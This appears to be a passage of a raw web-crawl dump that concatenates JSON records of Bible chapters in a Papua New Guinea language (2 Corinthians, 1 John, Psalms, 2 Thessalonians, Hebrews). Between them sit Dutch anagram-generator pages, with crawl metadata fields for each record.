lox asongot dik, ketla ne Moroa kopmen na domampe dik; lavamunepen atdik di sev asi dik, ketla kopmen dina lok kapmek dik. 10 Amisik mat pas ti lengkot axap map kip levenmumuat, kerekngan ne Iesu ga suma i, kusu mo lorooro ren limixin diba ven kibis box i at labantuxu atnama. 11 At lorooro axap atnema, ma nemen amisik keneng at levenmumuat at lanmet mumu laasen at ne Iesu, kusu mo lorooro ren limixin diba ven box i at labantuxu atnama, mo noxo nemen abao. 12 Kuren la levesongsongot i auret kusu na sev amet nama mumu Lagale Lavavang, ketla nemi min tuuna xaka lorooro avolo.\nMina Nemen Keneng At Lunuunu13 Lovoang Kaala i tong i do, \"A paase asu levelinga mila a nuunu.\" La kerepmo bok nema ma nuunu kuren la ma paase asu Lagale Lavavang. 14 Ataklen i do ne Moroa ga lox axatu kaxat amlong Leeme Silok ne Iesu ri lorooro, la neni naba lox axatu kaxat amlong bok dik keneng at ne Iesu, la na lok li nemi eburu minema ro melamgo at ne Moroa. 15 Ma suma levesongsongot nop nimi; kuren la do letaba nabalamu at ne Moroa na vot saparap bok teventaba tuvuttadi, nedi diba umsu aleng mi levelinga loklox avukat la diba lox asuusu leemi asu ri ne Moroa.\n16 Neni mo lavasuun teren la ma noxo lox abulubun; keke i do labantuxu atnama mo irak lok si nga; ketla labaroonan atnama i susu amaxat amisik at levenaleng getgesara. 17 La na levesongsongot lixilik i lox asuusu i do langsangan luunun avolo i umsu aleng mi lisisixam at ne Moroa mo i gagas kusu rinama; la i silok aleng ti levesongsongot man tuuna xaka i. 18 La amisik ma reven ti ne Iesu, maxo reven ti levempanga at na lavatbung menemen mo noxo nemen abao, ketla ma reven ti levempanga nedik dixo reven i la i nemen amisik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Cor.4","date":"2018-10-23T17:53:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583516892.84\/warc\/CC-MAIN-20181023174507-20181023200007-00397.warc.gz","language":"mmx","language_score":0.9999257326,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999257326126099}","num_words":754,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 5\nLimixin At Ne Moroa Di Los Kimit Laxakapmek1 Do tara i nuunu do ne Iesu neni Lanarong at ne Moroa, i lox asuusu i do i ruuna ka vam livipisik amaxat at lorooro ren keneng at ne Moroa; la do tara i balamu ne Temen, i balamu bok limixin at ne Moroa. 2 Do tara i balamu ne Moroa la i ronga res at levelinga ren, i lox asuusu i do neni i balamu limixin at ne Moroa. 3 Do nedik ta ronga res at levelinga ren, i lox asuusu i do dik ta balamu ne Moroa. La noxo lolos tinedik kusu tana mumu asu levelinga ren. 4 Do tara i ruuna ka vam livipisik amaxat at lorooro ren keneng at ne Moroa, i lox asuusu i do neni ira on basinge vam leveloklok at na lavatbung menemen. Do tara i nuunu at ne Iesu, na i lox asuusu i do neni ira on basinge vam loklok at na lavatbung menemen. 5 Nege i epovo kusu na los kimit loklok at na lavatbung menemen? Neni xusuk mun laradi i nuunu dola ne Iesu neni Nitna ne Moroa.\n6 Iesu Karisito ga si boro vana at laxalibet la lempanga loklok katling ga rupot ti lox asuusu i do neni ne Nitna ne Moroa. Ladan ga ru katling lesep susu at ne Iesu la lada ga ru katling lanmet teren. Ni goxo lok ka mun lesep susu, ketla neni ga met bok. La Loroonan Kaala i tong asu i do ne Iesu neni ne Nitna ne Moroa la i epovo do ata siam ka levelinga ren atla levelinga ren i ruturun. 7 Kerepmo na lavantun lempanga i lox asuusu i. 8 Ni Loroonan Kaala, ladan, la lada; la na lavantun axap di lox asuusu leges avanga mun. 9 I epovo dik ta nuunu at levelinga at taradi, ketla levelinga at ne Moroa i mumuat aleng ti mo levelinga, mila neni levelinga mumu ne Nitna. 10 Do tara i nuunu at ne Nitna ne Moroa, neni i ruuna ka vam mo levelinga keneng at lorooro ren. Do tara kopmen na nuunu at ne Moroa, i lok ne Moroa ngan laradi xaxarang, atla ni kopmen na nuunu ap mo levelinga ne Moroa ga vaase i mumu ne Nitna. 11 Mo levelinga i lok keretna, Moroa ga raba vam dik mi lorooro avolo, la langas ti mo lorooro i nemen at lekngen ne Nitna. 12 Dola tara i nuunu at ne Iesu, i ruuna ka vam nom lorooro. Do tara kopmen na nuunu at ne Iesu, ne Nitna ne Moroa, neni noxo ruuna ka nom lorooro.\nLorooro Avolo13 Nia a malagan na lempanga rinemi mi nuunu at laasen at ne Nitna ne Moroa kusu mina xasep do mira ruuna ka vam lorooro avolo. 14 Nedik taklen tuturun i do dik ta epovo na vosiga ne Moroa, neni i ronga dik mo do dik ta sing ti lempanga i epovo at lavavara ren. 15 Nedik ta xasep pam do ne Moroa ing tonga levesingising atdik, kuren la nedik ta xasep bok do neni im taba dik mi mo lempanga ta ngising tin.\n16 Do tara na ven neton na lok laxakapmek, la mo laxakapmek kopmen na lolos kusu tara naba seeve ren; neni na sing ti ne Moroa, la ne Moroa naba raba i mi lorooro. Nia a paase mumu nom limixin di lok laxakapmek la di noxo seeve ren. Ketla lara laxakapmek mo, do limixin dina lox i, dinaba seeve mu i. ▼\n▼ Tinedi di vas gasinge ne Moroa la di sok tixirixes kepe rinotno i.Nia xopmen na paase mi nom. 17 Do tara na lok lempanga kopmen na mokso, ni i lok laxakapmek; la leveloklok kakapmek mo, do tara na lox i, neni noxo seeve ren.\n18 Nedik takleklen i do mo tara i ruuna ka vam livipisik amaxat at lorooro ren keneng at ne Moroa, neni noxo lok bok ba laxakapmek. La ne Nitna ne Moroa i lok tatao i kusu laradi kapmek ne Satan noxo lok kapmex i. 19 Nedik takleklen i do nedik limixin at ne Moroa, la limixin at na lavatbung menemen kopmen dina nuunu at ne Iesu Karisito, di nemen maxopok at lololos at laradi xapmek, ne Satan. 20 Nedik ta xasep bok pam keretna, ne Nitna ne Moroa ga rupot la ga raba vam dik mi laxasep, kusu nedik tabakleklen ne Moroa, neni laradi ruturun. Nedik dik lok at ne Moroa i ruturun la at ne Nitna, Iesu Karisito. La ne Moroa neni lavasuun at lorooro avolo.\n21 Luvutnuruk orong, mina lok tatao nimi basinge lempoovo moroa. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Jo.5","date":"2018-10-17T14:45:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511175.9\/warc\/CC-MAIN-20181017132258-20181017153758-00042.warc.gz","language":"mmx","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000033378601074}","num_words":905,"character_repetition_ratio":0.086,"word_repetition_ratio":0.02,"special_characters_ratio":0.228,"stopwords_ratio":0.362,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van ekallround met het woord 'la' la doen lurk la doen krul la lurk node la krul node la lurk oden la krul oden la knul orde la knul rode la dunk loer la doel nurk la dolk urne la dolk uren la dolk rune la deun lork la deun krol la koel rund la dure knol la dure lonk la deur knol la deur lonk la donk leur la kond leur la leuk rond la duro knel la duel knor la duel ronk la drol neuk la lord neuk la drol kneu la kneu lord la kulde nor la don kleur la dor kleun la kunde lor la kunde rol la dol kuren la dol kreun la kolde run la kolde urn la nulde rok la kor nulde la dun kroel la korde nul la kol runde la dreun kol la duren kol la lok runde la dreun lok la duren lok la kendo rul la doken rul la doler nuk la nuk rolde la lorde nuk la nuk rodel la doler kun la kun rolde la kun lorde la kun rodel la kur loden la dolen kur la loden ruk la dolen ruk la kul onder la doren kul la kul ronde la kul roden la kul orden la el korund la krolde nu la kolder nu la lorden uk la rolden uk la drol en uk la en lord uk la dolk er nu la de lork nu la de krol nu la el rond uk la dor en kul la dol en kur la dol en ruk la dok en rul la don er kul la dol er nuk la dol er kun la dun er kol la dun er lok la dok er nul la de kul nor la de kur nol la de nol ruk la de lor nuk la de kun lor la de nuk rol la de kun rol la de nok rul la de kon rul la de kol run la de lok run la de kol urn la de lok urn la de nul rok la de kor nul la don el kur la don el ruk la dor el nuk la dor el kun la dok el run la dok el urn la dun el rok la dun el kor la der kol nu la der lok nu la kol nu red la lok nu red la dok nu rel la del nu rok la del kor nu la led nu rok la kor led nu la dol nu rek la dek lor nu la dek nu rol la dor elk nu la dor lek nu la dol ren uk la den lor uk la den rol uk la end lor uk la end rol uk la dor nel uk la der nol uk la nol red uk la don rel uk la del nor uk la led nor uk Anagrammen van ekallround met la - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.anagrammen.com\/van\/ekallround\/met\/la","date":"2019-01-20T20:04:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00111.warc.gz","language":"mmx","language_score":0.6447219849,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.6447219848632812, \"rcf_Latn_score\": 0.24348552525043488, \"zca_Latn_score\": 0.012730552814900875, \"heg_Latn_score\": 0.012642732821404934, \"kos_Latn_score\": 0.012322282418608665, \"cmr_Latn_score\": 0.012184346094727516, \"mgm_Latn_score\": 0.01141517423093319, \"lbb_Latn_score\": 0.01070467196404934}","num_words":513,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":0.671,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van ekallround met het woord 'lok' lok daluren lok duel nar lok dan leur lok land reu lok dra leun lok leun rad lok dar leun lok deun ral lok dal rune lok dal uren lok dal urne lok adel run lok lade run lok deal run lok adel urn lok lade urn lok deal urn lok arde nul lok nul rade lok ader nul lok al duren lok al dreun lok al runde lok duren la lok dreun la lok la runde lok lader nu lok daler nu lok al dun er lok dun er la lok dal er nu lok de na rul lok al de run lok al de urn lok de la run lok de la urn lok de nu ral lok dra el nu lok el nu rad lok dar el nu lok al nu red lok al der nu lok la nu red lok der la nu Anagrammen van ekallround met lok - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.anagrammen.com\/van\/ekallround\/met\/lok","date":"2019-01-20T18:50:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583730728.68\/warc\/CC-MAIN-20190120184253-20190120210253-00142.warc.gz","language":"mmx","language_score":0.9987499118,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"mmx_Latn_score\": 0.9987499117851257}","num_words":185,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sam 1\nLomomo Ruturun\n1Luvukat mo ik lok tinedi di raba arulu lavapaase axasep at limixin kapmek la dixo mumu asu lampoovo at limixin di lok laxakapmek, kopla dinak lok esogo minedi di paase aksaksa ri ne Moroa. 2Ketla, di suma ka lomomo atla di mumu asu Lenavolo at Leeme Silok, la dim doma mumu amisix i at levenaleng kangking la at levenaleng kanimin bok. 3Di lok ngan larauna di suusu ro at lisigege dan, la di pisik akmokso levempeven at levengaaling pipisik at laxampeeve, la levenang atdi kopmen nak mada si, la na mamang. Mo limixin di ngasang kobot at levempanga axap di lox i.\n4Ketla limixin kapmek dixok lok kuren; di lok ngan mun levempusuvus at levenbeo, lamanman it mas kepe i. 5At laaleng ne Moroa na viila mumu loklok at limixin axap, ni naba lok li lumumuat mavana at limixin kapmek, la naba riki pes di basinge limixin akmokso ren. 6Limixin manmanton dit pas keneng at loklok tatao at Leeme Silok, ne Moroa, ketla nedi di mumu asu langas kapmek, dinaba seeve.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/biblesearch.americanbible.org\/mmx-MMXNTPS\/Ps\/1","date":"2019-02-18T16:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247487595.4\/warc\/CC-MAIN-20190218155520-20190218181520-00080.warc.gz","language":"mmx","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"mmx_Latn_score\": 1.0000088214874268}","num_words":174,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.368,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van kevin durant met het woord 'dik' dik nat vuren dik runen vat dik urnen vat dik ervan nut dik nut raven dik nut varen dik naven rut dik rut vanen dik tuner van dik turen van dik urn vaten dik run vaten dik na turven dik nu traven dik nu vraten dik en nu vrat dik te urn van dik run te van dik at urn ven dik at run ven dik en urn vat dik en run vat dik en nar vut dik en nut var dik en rut van dik er nut van dik na urn vet dik na run vet dik na ren vut dik na nut ver dik na rut ven dik ren ut van dik nar ut ven dik ent nu var dik net nu var dik nu ten var dik nu ter van dik nat nu ver dik nu tra ven dik nu rat ven dik art nu ven dik nar nu vet dik nu ren vat Anagrammen van kevin durant met dik - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/www.anagrammen.com\/van\/kevin+durant\/met\/dik","date":"2021-01-23T08:11:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703536556.58\/warc\/CC-MAIN-20210123063713-20210123093713-00010.warc.gz","language":"mmx","language_score":0.8429535031,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.8429535031318665, \"ckm_Latn_score\": 0.056975603103637695, \"sua_Latn_score\": 0.029026543721556664, \"tvk_Latn_score\": 0.017993133515119553, \"vls_Latn_score\": 0.012158588506281376}","num_words":197,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":0.881,"perplexity_score":500.0,"cluster_detection":1} +{"text":"141\nLisingising Ti Leng Kantinao\n1 Leeme Silok, a ro ke ram at na loxonaleng. Soso mun una lok tooro nga ia! Una ronga ia at loxonaleng a ro ke ram. 2 Una siam ka lisingising tarak ngan ta lusuxa i so mavak, la una siam ka lukngak angosong aurut min naba lok ngan ta laramtaba ru ukantinao.\n3 Leeme Silok, una lok li taradi rutu mu ram nade at lungusno rak, la naba reven tatao bok levelinga rak. 4 Una beng ia basinge lavavara rik lok laxapmek, la basinge lixitkis etangas eburu mi luvuttadi loklok kakapmek. Axopara i do ana anan eburu midi at lara peluxa atdi atla mo leveluxa atdi naba lox abilinga ia.\n5 I lox avukat do laradi nunuan na vaase sox ia mumu laxakapmek kopla na sep aleeng ia. Ketla anoxo siam kaka lasinorong at luvuttadi xapmek. A ngising amisik kusu di noxo lok bok ba leveloklok kakapmek. 6 La amo do dina so gingin suu mi lubung amgomgo atnedi boro vana at labarabaras buang uat, limixin diba tong asu ba i dola lavapaase aronga rak ga ruturun. 7 Naba ngan loxonuna di vagam i, la dira ra koxorop axakalix i. Kerepmo laxan si atdi bak midi ekarakat go at lisigege at lamaaut.\n8 Ketla nia move a nunu saga ram, Leeme Silok, Loorong Avolo rak. A vara i do unak lok see rak, la uguta ke xepe ia ana met! 9 Una lox asepsu ia basinge laxampelixo mo di lili pe ia min, la basinge mo lempanga kutkut at luvuttadi xapmek. 10 A vara i do limixin kapmek dinaba oon tubun axa at lara pelixo atdi kusu nia nabat pas sepsu la anoxo ruuna ka taniu.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/png.bible\/mmx\/PSA141.htm","date":"2021-01-16T05:10:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703500028.5\/warc\/CC-MAIN-20210116044418-20210116074418-00618.warc.gz","language":"mmx","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"mmx_Latn_score\": 1.000004529953003}","num_words":271,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.199,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anagrammen Generator Invoer Van welke invoer wil je een anagram Woord Optioneel: een woord dat in het anagram moet zitten Zoek Anagrammen! Anagrammen van ronald koeman met het woord 'lok' lok drama neon lok damar neon lok drama noen lok damar noen lok drama none lok damar none lok maand nero lok maand oren lok morde naan lok amen radon lok anno ramde lok monde naar lok demon naar lok nadar omen lok nadar noem lok manna rode lok manna orde lok naad romen lok enorm naad lok moren naad lok arme donna lok donna mare lok maan orden lok maan roden lok maan onder lok maan ronde lok doren maan lok naam orden lok naam roden lok naam onder lok naam ronde lok doren naam lok nomen raad lok aard nomen lok daar nomen lok noden raam lok maar noden lok adam noren lok mora naden lok mand onera lok arena mond lok eraan mond lok aan morden lok aan dromen lok aan modern lok aar monden lok ara monden lok aam ronden lok men onraad lok non raamde lok maarde non lok madera non lok monade nar lok nar nomade lok oma randen lok narden oma lok aromen dan lok dan menora lok maande nor lok anoden ram lok nadoen ram lok anoden arm lok arm nadoen lok aanren dom lok er madonna lok mandoer na lok na omrande lok andoren ma lok dam nar oen lok dan oen ram lok arm dan oen lok dar man oen lok man oen rad lok dra man oen lok dar nam oen lok nam oen rad lok dra nam oen lok are dam non lok are don man lok are don nam lok dam era non lok don era man lok don era nam lok dan man roe lok dan nam roe lok dan man oer lok dan nam oer lok aan dom ren lok aan end mor lok aan den mor lok aan dor men lok aan don rem lok man nar ode lok nam nar ode lok doe man nar lok doe nam nar lok aar don men lok ara don men lok aam don ren lok dan oma ren lok dan nar ome lok dan moe nar lok aam end nor lok end nar oma lok aam den nor lok den nar oma lok aam der non lok aam non red lok en ma radon lok en nadar om lok donna er ma lok de na roman lok morde na na lok me na radon lok ma na orden lok ma na roden lok ma na onder lok ma na ronde lok doren ma na lok na om raden lok ander na om lok arend na om lok na narde om lok arden na om lok na nader om lok aan drom en lok aar en mond lok ara en mond lok aam en rond lok en oma rand lok dan en mora lok adam en nor lok don en raam lok don en maar lok dor en maan lok dor en naam lok en mor naad lok dom en naar lok aan er mond lok adam er non lok don er maan lok don er naam lok anno dam er lok dom er naan lok aan de norm lok de non raam lok de maar non lok de maan nor lok de naam nor lok anno de ram lok anno arm de lok de mor naan lok dram na oen lok darm na oen lok are mond na lok era mond na lok mand na roe lok mand na oer lok na ome rand lok moe na rand lok end mora na lok den mora na lok moed na nar lok demo na nar lok mode na nar lok doem na nar lok na nerd oma lok dan moer na lok dan more na lok dan na roem lok dan na rome lok dan erom na lok dame na nor lok made na nor lok adem na nor lok arme don na lok don mare na lok man na rode lok man na orde lok na nam rode lok na nam orde lok dar na omen lok dar na noem lok na omen rad lok na noem rad lok dra na omen lok dra na noem lok amen dor na lok na node ram lok na oden ram lok doen na ram lok arm na node lok arm na oden lok arm doen na lok dam na nero lok dam na oren lok aren dom na lok dom erna na lok dom na nare lok aan me rond lok me non raad lok aard me non lok daar me non lok me naad nor lok don me naar lok anno dar me lok anno me rad lok anno dra me lok dor me naan lok ma oen rand lok ma non rade lok arde ma non lok ader ma non lok anno der ma lok anno ma red lok ma nar node lok ma nar oden lok doen ma nar lok dan ma nero lok dan ma oren lok aren don ma lok don erna ma lok don ma nare lok dar ma neon lok dar ma noen lok dar ma none lok ma neon rad lok ma noen rad lok ma none rad lok dra ma neon lok dra ma noen lok dra ma none lok aan nerd om lok naad om ren lok end naar om lok den naar om lok der naan om lok naan om red lok aren dan om lok dan erna om lok dan nare om Anagrammen van ronald koeman met lok - Anagrammen.com Anagrammen.com Home (current)","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/www.anagrammen.com\/van\/ronald+koeman\/met\/lok","date":"2021-04-14T06:03:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038076819.36\/warc\/CC-MAIN-20210414034544-20210414064544-00364.warc.gz","language":"mmx","language_score":0.995529294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.995529294013977}","num_words":936,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nenia ne Pol. Nema mi ne Sailas la ne Timoti, ma malagan na lovoang tinemi limixin nunu dom Tesalonia. Nemi limixin at ne Moroa ne Temen dik la Leeme Silok, ne Iesu Karisito.\n2Letaba nabalamu la lenmila boro at ne Moroa ne Temen dik la Leeme Silok, ne Iesu Karisito na nemen eburu minemi.\n3Luvutnetak mi luvurinuk. I lox avukat do nema ma tong avukat amisik ti ne Moroa mumu nimi. I lox avukat mila lununu atnimi ira suusu silok la labalamu ela xantubu atnimi ira sisilok bok.\n4Kuren la nema ma xip aurut nimi ri limixin at lotu at ne Moroa, mila nemi mi tu atmatkun at lununu atnimi kantubu at levesongsongot mi levenmumuat, mo mip kiv i.\n5Lununu atnimi i tu atmatkun, la na i lox asuusu i do lodoxoma at ne Moroa ik mokso aleng la at laaleng ete neni naba ila mumu loklok atnimi la minaba epovo xusu mina vubeles uto xeneng at Linintoo ren. Ni lavasuun at levesongsongot atnimi.\n6Moroa in manton tino la neni naba vorang levesongsongot atnedi dim taba nimi min.\n7La neni naba lok kepe levesongsongot basinge nimi la atnema bok ap mo laaleng Leeme Silok, ne Iesu naba si ukopok boro vana at laxalibet. Neni naba vot eburu mi lubungangelo lolos teren la lisisixam silok, naba soosoo ngan laxao bokbolot.\n8La ne Moroa naba lox asongot nedi, dixokleklen i la nedi bok kopmen dinang tonga res at Lagale Lavavang at Leeme Silok atdik ne Iesu.\n9La Leeme Silok naba sev asongot di mi langsangan leeteke mo naba nemen amisik. Dinaba nemen amisik to vetpes basinge lemeren Leeme Silok la di noxo suma lolos nunuan at ne Moroa.\n10Dinaba lok ka na lumumuat ap mo laaleng ne Iesu naba si ukopok. La limixin axap teren dinaba emi asu min la dinaba raba i mi lasinorong. La nemi bok minaba emi asu min, mila miga siam kaka Lagale Lavavang maga tong asu i rinimi.\n11Kuren la ma ngising amisik ne Moroa do neni na lox epovo nimi ri mo lorooro melemu, mo ne Moroa atdik ga ro ka nimi rin. La neni na lok tooro nimi mi lolos teren kusu mina epovo do minaba lok leven gugu nunuan kerekngan limixin nunu di vara na lox i.\n12La kerepmo limixin dinaba ven leven gugu nunuan atnimi la dinaba emi asu mi ne Iesu Karisito la dinaba emi asu bok minimi. Naba ravasu xuren mila ne Moroa atdik mi Leeme Silok ne Iesu Karisito du lox asuusu letaba nabalamu rinimi.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/breakeveryyoke.com\/2-tesalonia-1---lenavolo-lovoang-kaala-maxat-la-sam","date":"2021-06-21T07:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623488268274.66\/warc\/CC-MAIN-20210621055537-20210621085537-00222.warc.gz","language":"mmx","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000096559524536}","num_words":415,"character_repetition_ratio":0.079,"word_repetition_ratio":0.015,"special_characters_ratio":0.207,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Luvutnetak mi luvurinuk. Na laxavaxap at na lovoang. Mina ngising ne Moroa do neni na lok tooro nama xusu levelinga at Leeme Silok na epeseves soso la limixin dina siam kaka i mi leemi asu kerekngan nemi miga siam kaka i.\n2La mina sing bok dola limixin kakapmek di noxo rupe lugugu atnama, mila buaang limixin mo, kopmen tununu atdi.\n3Ketla Leeme Silok ik lok tooro ruturun amisik limixin teren la neni naba lox alolos lorooro atnimi la naba lok tatao nimi basinge ne Satan.\n4La nema ma nunu ruturun do Leeme Silok naba lok tooro nimi la nanga mi mumu asu levelinga atnama la melemu bok minaba mumu asu i.\n5La ma sing Leeme Silok do neni na lok tooro nimi xusu mina xasep avukat ti labalamu at ne Moroa, la mina tu atmatkun kerekngan ne Iesu Karisito ga tu atmatkun at lorooro ren.\n6Luvutnetak mi luvurinuk. Ma sing nimi at laasen at Leeme Silok atdik ne Iesu Karisito, do mina ru asepsu basinge di nom limixin nunu dik molo at lugugu, la kopmen dina mumu asu mo levenanasa nia aga anasa nimi min.\n7Nemi mi xasep do ik mokso rinimi xusu mina mumu asu mo loklok atnama, maga ruuna i ap mo levenaleng maga nemen kantubu atnimi. Maga gugu lolos, la ma goxok molo.\n8Ma goxo lok kaka gamasa tevempanga atnimi, maga un kaka leveluxa la levempanga vetpes bok magak pakes tin. Maga gugu lolos at levenaleng kangking la at levenaleng kanimin kusu mi noxo xepe pilas ti lok tooro nama.\n9Gak mokso do mana sing kaka tevempanga atnimi, ketla ma goxo lox i xuren. Mila maga vara i do mana lok lampoovo xerepmo rinimi.\n10Maga nemen kantubu atnemi, la maga tong i rinimi xeretna, \"Do tara i xopara na gugu, nemen gat ni ta anan eburu minimi.\"\n11Ma tong i na rinimi mila magang tonga i do leventaba atnimi dik molo mene la dit pas tangtagap mi lavapaase mumu la kopmen dina gugu.\n12At laasen at Leeme Silok ne Iesu Karisito ma tong lolos i ridi do dina nemen atnaasan la dina gugu ri levempanga dik pakes tin.\n13Luvutnetak mi luvurinuk, nemen mitak molo rik lok leven gugu i nunuan.\n14Do tara noxo ronga res at na levelinga, mina malagan katling i, la mina ke xepe i xusu neni na lok mamangan.\n15Nemen mita edax i, ketla mina paase aronga i ngan neton nimi.\n16A sing Leeme Silok at limila do neni xa na raba nimi mi limila ren at levenaleng axap la at leventaangas axap. Leeme Silok na nemen eburu amisik minemi axap.\n17Nenia ne Pol, a malagan na levengkolinga mi lakngak akmokso. Lavapaase momo rak tinimi. A malagan na levelinga keretna.\n18Letaba nabalamu at Leeme Silok atdik ne Iesu Karisito na nemen eburu minemi axap. I ruturun.","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/breakeveryyoke.com\/2-tesalonia-3---lenavolo-lovoang-kaala-maxat-la-sam","date":"2021-06-15T03:50:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487616657.20\/warc\/CC-MAIN-20210615022806-20210615052806-00224.warc.gz","language":"mmx","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000085830688477}","num_words":462,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nLeveloklok At\nLekabus Migomgo\n1 *\nAt lekabus migomgo Moroa ga raba leme Israel mi leventaangas kusu dina mu asu i ri lok leven gugu xeneng at lotu, la diga bak kangkan loxot silok ti lotu saparap ne Moroa. 2 *\nTo xeneng teren diga xip lara loogu kadis. La keneng ap mo loogu kadis diga lok legepu xonnep gu. At loxonnep gu avot diga lok li loxot kusu lababao nak lok teren, la loxonin eburu mi levengkongkide gak lok bok teren, mo levengkongkide di etaba min ti ne Moroa. Na loxot diga soxor i do Loxot Kaala. 3 